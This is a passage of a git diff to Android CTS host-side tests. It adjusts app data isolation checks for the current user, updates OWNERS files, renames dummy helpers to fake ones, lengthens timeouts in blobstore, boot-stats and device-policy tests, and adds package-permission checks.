                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
                         applicationInfo.deviceProtectedDataDir));
                 assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + FileUtils.APPB_PKG);
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
                         applicationInfo.dataDir));
                 assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
                         applicationInfo.deviceProtectedDataDir));
                 assertDirDoesNotExist("/data/data/" + FileUtils.NOT_INSTALLED_PKG);
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.NOT_INSTALLED_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + FileUtils.NOT_INSTALLED_PKG);
             } catch (Throwable e) {
                 throw new IllegalStateException(e.getMessage());
             }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
index c1e3a53..41ca80d 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
@@ -20,9 +20,11 @@
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsAccessible;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsNotAccessible;
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileIsAccessible;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
+import android.os.UserHandle;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -48,7 +50,8 @@
         assertDirDoesNotExist(replacePackageBWithPackageA(applicationInfo.dataDir));
         assertDirDoesNotExist(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
         assertDirDoesNotExist("/data/data/" + APPA_PKG);
-        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + APPA_PKG);
+        assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
+                + APPA_PKG);
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
@@ -57,8 +60,11 @@
         ApplicationInfo applicationInfo = mContext.getApplicationInfo();
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.dataDir));
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
-        assertDirIsAccessible("/data/data/" + APPA_PKG);
-        assertFileIsAccessible("/data/misc/profiles/cur/0/" + APPA_PKG + "/primary.prof");
+        if (getCurrentUserId() == UserHandle.USER_SYSTEM) {
+            assertDirIsAccessible("/data/data/" + APPA_PKG);
+        }
+        assertFileIsAccessible("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
+                + APPA_PKG + "/primary.prof");
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
index 819dcad..4cb158e 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
@@ -62,14 +62,21 @@
     }
 
     public static void assertDirDoesNotExist(String path) {
+        File directory = new File(path);
         // Trying to access a file/directory that does exist, but is not visible to the caller, it
         // should return file not found.
         Exception exception = expectThrows(FileNotFoundException.class, () -> {
-            new FileInputStream(new File(path));
+            new FileInputStream(directory);
         });
         assertThat(exception.getMessage()).contains(JAVA_FILE_NOT_FOUND_MSG);
         assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_PERMISSION_DENIED_MSG);
 
+        File parent = directory.getParentFile();
+        if (parent != null && !parent.exists()) {
+            // If the parent directory doesn't exist then we can be confident this
+            // directory is entirely invisible.
+            return;
+        }
         // Try to create a directory here, and it should return permission denied not directory
         // exists.
         try {
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
similarity index 61%
rename from hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
rename to hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
index 3e52342..6ea9090 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,15 +14,13 @@
  * limitations under the License.
  */
 
-package com.android.server.cts.device.statsd;
+package com.android.cts.appdataisolation.common;
 
-import android.annotation.NonNull;
-import android.telecom.Call;
-import android.telecom.CallScreeningService;
+import android.os.Process;
+import android.os.UserHandle;
 
-public class DummyCallscreeningService extends CallScreeningService {
-    @Override
-    public void onScreenCall(@NonNull Call.Details callDetails) {
-
+public final class UserUtils {
+    public static int getCurrentUserId() {
+        return UserHandle.getUserId(Process.myUid());
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index cf85210..ea8a824 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -23,6 +23,12 @@
     access.
     -->
 
+    <!--
+    We want to test without app data isolation, which comes with targetSdk 30.
+    -->
+    <uses-sdk android:targetSdkVersion="29" />
+
+
     <uses-permission android:name="android.permission.INTERNET" />
 
     <application>
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
index 8bdc594..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 95221
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
 dikshag@google.com
-zemiao@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 354bf5b..4f9850a 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -111,7 +111,7 @@
         try {
             //Enfornce to set the list mode
             //Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item) in grid mode when screen landscape mode
-            new UiObject(new UiSelector().resourceId("com.android.documentsui:id/option_menu_list")).click();
+            new UiObject(new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/sub_menu_list")).click();
             mDevice.waitForIdle();
         }catch (UiObjectNotFoundException e){
             //do nothing, already be in list mode.
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
index 9fe672b..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+dikshag@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
index aacd866..0c17955 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 49763
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 5930840..23593b0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -23,6 +23,7 @@
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.hasItems;
 import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
 import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.hamcrest.CoreMatchers.nullValue;
 import static org.junit.Assert.assertSame;
@@ -78,6 +79,7 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.util.Arrays;
 import java.util.Iterator;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -1169,6 +1171,28 @@
     }
 
     @Test
+    public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+        assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
+    }
+
+    @Test
+    public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+        assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
+    }
+
+    private static boolean isPermissionGrantedInPackageInfo(String permissionName)
+            throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+        final PackageInfo packageInfo = context.getPackageManager().getPackageInfo(
+                context.getPackageName(), PackageManager.GET_PERMISSIONS);
+        final int permissionIndex = Arrays.asList(packageInfo.requestedPermissions).indexOf(
+                permissionName);
+        assertThat(permissionIndex, is(not(-1)));
+        return (packageInfo.requestedPermissionsFlags[permissionIndex]
+                & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0;
+    }
+
+    @Test
     public void testExposedActivity() throws Exception {
         final Bundle testArgs = InstrumentationRegistry.getArguments();
         assertThat(testArgs, is(notNullValue()));
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index 7d94aed..af75c90 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -197,6 +197,9 @@
         // Rename to ensure that stats are updated
         video.renameTo(new File(dir, System.nanoTime() + ".PnG"));
 
+        // Since we have MANAGE_EXTERNAL_STORAGE, need to ask for a re-scan
+        MediaStore.scanFile(getContext().getContentResolver(), dir);
+        MediaStore.scanFile(getContext().getContentResolver(), downloadsDir);
         MediaStore.waitForIdle(getContext().getContentResolver());
 
         final ExternalStorageStats afterRename = stats.queryExternalStatsForUser(UUID_DEFAULT, user);
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/stubime/OWNERS b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
new file mode 100644
index 0000000..ea4fd8f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 34867
+include platform/frameworks/base:/services/core/java/com/android/server/inputmethod/OWNERS
diff --git a/hostsidetests/blobstore/OWNERS b/hostsidetests/blobstore/OWNERS
index 16b25bb..bf870975 100644
--- a/hostsidetests/blobstore/OWNERS
+++ b/hostsidetests/blobstore/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-include platform/frameworks/base:apex/blobstore/OWNERS
+include platform/frameworks/base:/apex/blobstore/OWNERS
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
index 81cd918..aa9f439 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
@@ -38,7 +38,7 @@
 
     protected static final long PARTIAL_FILE_LENGTH_BYTES = 2002;
     protected static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
-    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 10_000;
+    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 30_000;
 
     protected Context mContext;
     protected Instrumentation mInstrumentation;
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
index bc248eb..b01be92 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
@@ -25,7 +25,7 @@
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 
-import com.android.utils.blob.DummyBlobData;
+import com.android.utils.blob.FakeBlobData;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -42,7 +42,7 @@
 
     @Test
     public void testCreateSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(24)
                 .setFileName("test_blob_data")
                 .build();
@@ -79,7 +79,7 @@
 
     @Test
     public void testCommitBlob() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(24)
                 .setFileName("test_blob_data")
                 .setLabel("test_data_blob_label")
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
index 5759e93..2efc523 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
@@ -24,7 +24,7 @@
 import android.os.ParcelFileDescriptor;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.DummyBlobData;
+import com.android.utils.blob.FakeBlobData;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -41,7 +41,7 @@
 
     @Test
     public void testCreateSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(22)
                 .setFileName("test_blob_data")
                 .build();
@@ -63,7 +63,7 @@
     @Test
     public void testOpenSessionAndWrite() throws Exception {
         final long sessionId = readSessionIdFromDisk();
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(22)
                 .setFileName("test_blob_data")
                 .build();
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
index 9bcf2a1..fb6477d 100644
--- a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -38,7 +38,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class BootStatsHostTest implements IDeviceTest {
 
-    private static final long MAX_WAIT_TIME_MS = 30000;
+    private static final long MAX_WAIT_TIME_MS = 100000;
     private static final long WAIT_SLEEP_MS = 100;
 
     private static int[] ATOMS_EXPECTED = {
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 8a4f45c..6b41018 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -62,7 +62,7 @@
             "com.android.cts.crossprofileappstest:id/user_textview";
     private static final String ID_USER_TEXTVIEW_NONMAIN =
             "com.android.cts.crossprofileappstest:id/user_textview_nonmain";
-    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(15);
 
     private CrossProfileApps mCrossProfileApps;
     private UserHandle mTargetUser;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 891bd72..7e4cd3d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -63,14 +63,14 @@
         mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
 
         // Must try a couple times because it will be disabled asynchronously.
-        for (int i = 1; i <= 5; i++) {
+        for (int i = 1; i <= 15; i++) {
             final boolean disabledAfter = !launchActivityAndGetEnabled();
             if (disabledAfter) {
                 return;
             }
             Thread.sleep(100);
         }
-        fail("Not disabled after 2.5s");
+        fail("Not disabled after a period of time");
     }
 
     private boolean launchActivityAndGetEnabled() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index aaa3e9b..42c03f6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -95,6 +95,8 @@
     private static final String ARG_BATCH_NUMBER = "batchNumber";
     private static final String PREF_KEY_PREFIX = "batch-last-id-";
     private static final String PREF_NAME = "batchIds";
+    // system/core/liblog/event.logtags: 1006  liblog (dropped|1)
+    private static final int TAG_LIBLOG_DROPPED = 1006;
 
     // For brevity.
     private static final Class<String> S = String.class;
@@ -402,6 +404,11 @@
         for (int i = 0; i < events.size(); i++) {
             final SecurityEvent event = events.get(i);
 
+            // Skip liblog dropped event.
+            if (event.getTag() == TAG_LIBLOG_DROPPED) {
+                continue;
+            }
+
             verifyPayloadTypes(event);
 
             // Test id for monotonically increasing.
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 82ce679..9bb371b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -32,6 +32,7 @@
 
 import com.google.common.collect.ImmutableSet;
 
+import java.util.concurrent.TimeUnit;
 import java.util.Set;
 
 public class UserRestrictionsParentTest extends InstrumentationTestCase {
@@ -89,9 +90,15 @@
                 hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isTrue();
     }
 
-    public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() {
-        assertThat(mUserManager.
-                hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isFalse();
+    public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() throws Exception {
+        final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(30);
+        while (System.nanoTime() <= deadline) {
+            if (!mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)) {
+                return;
+            }
+            Thread.sleep(100);
+        }
+        fail("The restriction didn't go away.");
     }
 
     public void testAddUserRestrictionDisallowAddUser_onParent() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index e8f35f2..1856d2c3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -172,9 +172,9 @@
         }
 
         // generate enough traffic to fill the batches.
-        int testReqNo = 0;
+        int fakeReqNo = 0;
         for (int i = 0; i < mBatchesRequested; i++) {
-            testReqNo += generateTestTraffic();
+            fakeReqNo += generateFakeTraffic();
         }
 
         // if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
@@ -190,11 +190,11 @@
 
         // Verify network logs.
         assertEquals("First event has the wrong id.", 0L, mNetworkEvents.get(0).getId());
-        // For each of the real URLs we have two events: one DNS and one connect. Test requests
+        // For each of the real URLs we have two events: one DNS and one connect. Fake requests
         // don't require DNS queries.
         final int eventsExpected =
                 Math.min(FULL_LOG_BATCH_SIZE * mBatchesRequested,
-                        2 * LOGGED_URLS_LIST.length + testReqNo);
+                        2 * LOGGED_URLS_LIST.length + fakeReqNo);
         verifyNetworkLogs(mNetworkEvents, eventsExpected);
     }
 
@@ -340,11 +340,11 @@
     }
 
     /** Quickly generate loads of events by repeatedly connecting to a local server. */
-    private int generateTestTraffic() throws IOException, InterruptedException {
+    private int generateFakeTraffic() throws IOException, InterruptedException {
         final ServerSocket serverSocket = new ServerSocket(0);
-        final Thread serverThread = startTestServer(serverSocket);
+        final Thread serverThread = startFakeServer(serverSocket);
 
-        final int reqNo = makeTestRequests(serverSocket.getLocalPort());
+        final int reqNo = makeFakeRequests(serverSocket.getLocalPort());
 
         serverSocket.close();
         serverThread.join();
@@ -352,11 +352,11 @@
         return reqNo;
     }
 
-    private int makeTestRequests(int port) {
+    private int makeFakeRequests(int port) {
         int reqNo;
-        final String TEST_SERVER = "127.0.0.1:" + port;
+        final String FAKE_SERVER = "127.0.0.1:" + port;
         for (reqNo = 0; reqNo < FULL_LOG_BATCH_SIZE && mBatchCountDown.getCount() > 0; reqNo++) {
-            connectToWebsite(TEST_SERVER);
+            connectToWebsite(FAKE_SERVER);
             try {
                 // Just to prevent choking the server.
                 Thread.sleep(10);
@@ -367,7 +367,7 @@
         return reqNo;
     }
 
-    private Thread startTestServer(ServerSocket serverSocket) throws InterruptedException {
+    private Thread startFakeServer(ServerSocket serverSocket) throws InterruptedException {
         final Thread serverThread = new Thread(() -> {
             while (!serverSocket.isClosed()) {
                 try {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
index 27f4d46..c0b0eab 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
@@ -28,7 +28,7 @@
 import static org.testng.Assert.assertThrows;
 
 public class PrivateDnsPolicyTest extends BaseDeviceOwnerTest {
-    private static final String TEST_PRIVATE_DNS_HOST = "resolver.example.com";
+    private static final String FAKE_PRIVATE_DNS_HOST = "resolver.example.com";
     private static final String VALID_PRIVATE_DNS_HOST = "dns.google";
 
     private UserManager mUserManager;
@@ -130,7 +130,7 @@
 
         // This host does not resolve, so would output an error.
         callSetGlobalPrivateDnsHostModeExpectingResult(
-                TEST_PRIVATE_DNS_HOST,
+                FAKE_PRIVATE_DNS_HOST,
